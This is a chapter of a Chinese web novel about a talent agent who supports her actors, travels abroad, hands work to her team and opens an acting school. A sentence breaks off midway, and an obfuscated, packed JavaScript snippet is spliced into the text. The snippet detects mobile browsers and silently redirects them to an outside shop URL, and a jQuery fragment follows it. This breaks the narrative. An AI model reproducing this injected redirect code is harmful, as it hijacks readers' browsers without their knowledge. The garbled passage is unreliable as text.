42.第 42 章

作品:《一线经纪人

    “好,我支持你。”沈知微说,“知微影业投资你的电影。你放手去拍,不用担心钱的问题。”


    方旭的眼眶红了:“微姐,谢谢你。”


    方旭的导演处女作《归乡2》在一年后开机。拍摄地点在他的老家——河南的一个小村庄。方旭带着剧组回到家乡,村民们都很兴奋,纷纷来看热闹。


    拍摄期间,方旭的母亲每天都来片场,给儿子送饭。方旭的父亲已经去世了,没能看到儿子拍电影,这是方旭最大的遗憾。


    “爸,这部电影献给你。”方旭在电影片尾打上了这样一行字。


    《归乡2》完成后,入选了上海国际电影节主竞赛单元,获得了最佳影片奖。方旭凭借这部电影获得了最佳导演奖,成为国内为数不多的“演而优则导”的成功案例。


    站在领奖台上,方旭说:“这部电影献给我的父亲,献给我的故乡,献给所有在城市打拼的异乡人。不管走多远,家永远在那里。”


    在所有艺人中,林未晞做了一个让所有人都意外的决定——她要退隐了。


    不是永久退隐,而是暂时休息。她告诉沈知微:“微姐,我累了。不是身体累,是心累。演了这么多年的戏,我觉得自己被掏空了。我需要一段时间,去生活,去感受,去重新找回自己。”


    沈知微沉默了很久。


    她理解林未晞。演员是一个消耗极大的职业,每一次塑造角色,都要把自己的灵魂注入其中。林未晞演了太多沉重的角色——《人间烟火气》的李晚星、《风雨大宅门》的沈碧云、《归途》的被拐女性、《母亲》的单亲妈妈、《她》的林溪……每一个角色都像一块石头,压在她的心上。


    “你想休息多久?”沈知微问。


    林未晞说:“不知道。也许一年,也许两年,也许更久。微姐,你不用等我,如果有好的角色,你可以给别人。”


    沈知微摇头:“不,我等你。”


    林未晞的眼泪掉了下来:“微姐,你不怕我回来后,已经没有市场了吗?”


    沈知微笑了:“市场算什么?你是我最重要的艺人,不是因为你有多红,而是因为你是你。不管你休息多久,只要你回来,你的位置就在那里。”


    林未晞抱住沈知微,哭了出来。


    林未晞退隐的消息传出后,业内一片哗然。有人惋惜,有人不解,也有人理解。沈知微没有多做解释,只是在社交媒体上发了一条简短的消息:“未晞累了,需要休息。我支持她。等她回来。”


    这条消息获得了超过一百万点赞,评论区里全是祝福和鼓励。


    “未晞姐,好好休息,我们等你。”


    “真正的演员不需要一直曝光,需要的是生活的积累。”


    “沈知微真是最好的老板,没有之一。”


    林未晞退隐后,去了云南大理。她在洱海边租了一栋小房子,每天画画、做饭、散步、发呆。她开始写日记,记录自己的生活点滴和内心感受。她还在学古琴,每天练习两个小时,进步很快。


    沈知微每个月去看她一次,两人坐在洱海边,喝茶聊天,看日出日落。


    “微姐,我觉得自己终于活过来了。”林未晞有一次对沈知微说。


    沈知微看着她,看到她的眼睛里有光,那种光不是镁光灯下的光,而是生命本身的光。


    “那就好。”沈知微说,“活着比什么都重要。”


    林未晞退隐后,沈知微也开始思考自己的人生。


    六年了,她把自己全部的时间和精力都投入到了知微工作室。她几乎没有私人生活,没有恋爱,没有旅行,没有任何“浪费时间”的爱好。她的人生就是工作,工作就是她的人生。


    但现在,她开始问自己——这就是我想要的生活吗?


    答案是否定的。


    她想起了林未晞说的那句话:“我累了,需要去生活,去感受,去重新找回自己。”


    她何尝不是呢?


    沈知微决定给自己放一个长假。她把工作室的日常管理交给了陈默和林正源,自己买了一张机票,飞去了欧洲。


    她没有告诉任何人目的地,只是说“出去走走”。


    第一站是巴黎。她在塞纳河边散步,在卢浮宫看画,在咖啡馆里发呆。她不会法语,但没关系,微笑是通用的语言。


    第二站是佛罗伦萨。她参观了乌菲兹美术馆,看到了波提切利的《春》和《维纳斯的诞生》。她在米开朗基罗广场看日落,整个城市被染成了金黄色。


    第三站是罗马。她去了斗兽场、万神殿、许愿池。她在许愿池边投了一枚硬币,许了一个愿望——不是关于事业,不是关于财富,而是关于——快乐。


    在欧洲待了一个月后,沈知微飞去了日本。她在京都的寺庙里坐禅,在奈良喂鹿,在北海道的雪地里泡温泉。


    她发现自己已经很久没有这样放松过了。没有手机,没有邮件,没有会议,没有任何人的打扰。只有自己和这个世界。


    在富士山脚下的一家小旅馆里,沈知微坐在窗边,看着远处的富士山,突然想明白了一件事——人生不只有工作,还有生活。工作是为了更好地生活,而不是反过来。


    她拿起手机,给陈默发了一条消息:“我很好,不用担心。再玩一个月就回去。”


    陈默秒回:“微姐,你好好玩,工作室一切正常。”


    沈知微笑了,放下手机,继续看富士山。


    两个月后,沈知微回到了北京。


    她晒黑了一些,瘦了一些,但精神状态出奇地好。眼睛里有一种以前没有的松弛和从容。


    陈默来机场接她,看到她的第一眼就愣住了:“微姐,你变了。”


    沈知微笑了:“哪里变了?”


    “说不上来,就是感觉你整个人都不一样了。”陈默说,“以前你像一根绷紧的弦,现在你像一首舒缓的歌。”


    沈知微笑了:“这个比喻不错。”


    回到工作室,沈知微发现一切都在正常运转。陈默把经纪团队管理得很好,林正源把知微影业打理得井井有条,表演工坊、知音厂牌、舞台剧项目都在按计划推进。


    她突然意识到,自己其实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541597|202969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有那么重要。这个团队没有她,一样可以运转得很好。她以前总觉得什么事都要自己盯着,什么事都要自己做决定,但事实证明,她可以放手,而且放手之后,团队反而成长得更快。


    沈知微在例会上说:“我出去玩了一圈,想明白了一件事——从今天开始,我要改变工作方式。”


    大家都看着她。


    “以前我事必躬亲,什么事都要管。从今天开始,我会放权给你们。你们自己能决定的事,不需要问我。你们能独立做的事,不需要向我汇报。我只做一件事——把握大方向,做重大决策。其他的,你们说了算。”


    会议室里安静了几秒,然后陈默第一个开口:“微姐,你这是要当甩手掌柜啊?”


    大家都笑了。


    沈知微也笑了:“不是甩手,是信任。我相信你们能把事情做好。”


    沈知微回归后的第一个重大决策,是启动知微表演学院的项目。


    办学资质已经批下来了,场地选在北京朝阳区的一个文创园内,占地二十亩,可以容纳五百名学生。课程体系由表演工坊的教务团队和中央戏剧学院的教授共同设计,强调“理论与实践相结合”,学生在学习表演理论的同时,有大量实践机会。


    知微表演学院的第一届招生计划是八十人,报名人数超过三千人,录取比例不到百分之三。和表演工坊一样,学院采取“免费+奖学金”的模式——家庭困难的学生可以申请全额奖学金,优秀的学生可以获得创作基金的支持。


    开学典礼那天,沈知微站在台上,看着台下八十张年轻的面孔,心中充满了希望。


    “欢迎来到知微表演学院。”沈知微说,“你们是从三千多人中选拔出来的,每一个人都很优秀。但我希望你们知道,优秀不是终点,而是起点。在接下来的四年里,你们会很辛苦,会很累,会怀疑自己,会想要放弃。但我希望你们能坚持下去,因为这四年,将决定你们未来四十年的职业生涯。”


    台下鸦雀无声,所有人都认真地听着。


    “我创办这所学校,不是为了赚钱,不是为了出名,而是为了给这个行业培养真正会演戏的演员。”沈知微的声音很坚定,“这个行业需要你们,观众需要你们,时代需要你们。希望你们不负众望,成为这个行业的栋梁之才。”


    台下响起了热烈的掌声。


    开学典礼结束后,沈知微站在校园里,看着学生们三三两两地走进教室,心中涌起一种前所未有的满足感。


    六年了,从一个人到一群人,从一个想法到一个行业标杆。她走过了一条没有人走过的路,证明了一件没有人相信的事——在资本横行的娱乐圈,依然可以用作品和初心走出一条路。


    手机震了一下,是林未晞发来的消息:“微姐,听说表演学院开学了?恭喜你。”


    沈知微回复:“等你回来,来给学生们上一堂课。”


    林未晞回复:“好,等我。”


    沈知微放下手机,抬头看着天空。天很蓝,云很白,阳光很暖。


    知微工作室的故事,还在继续。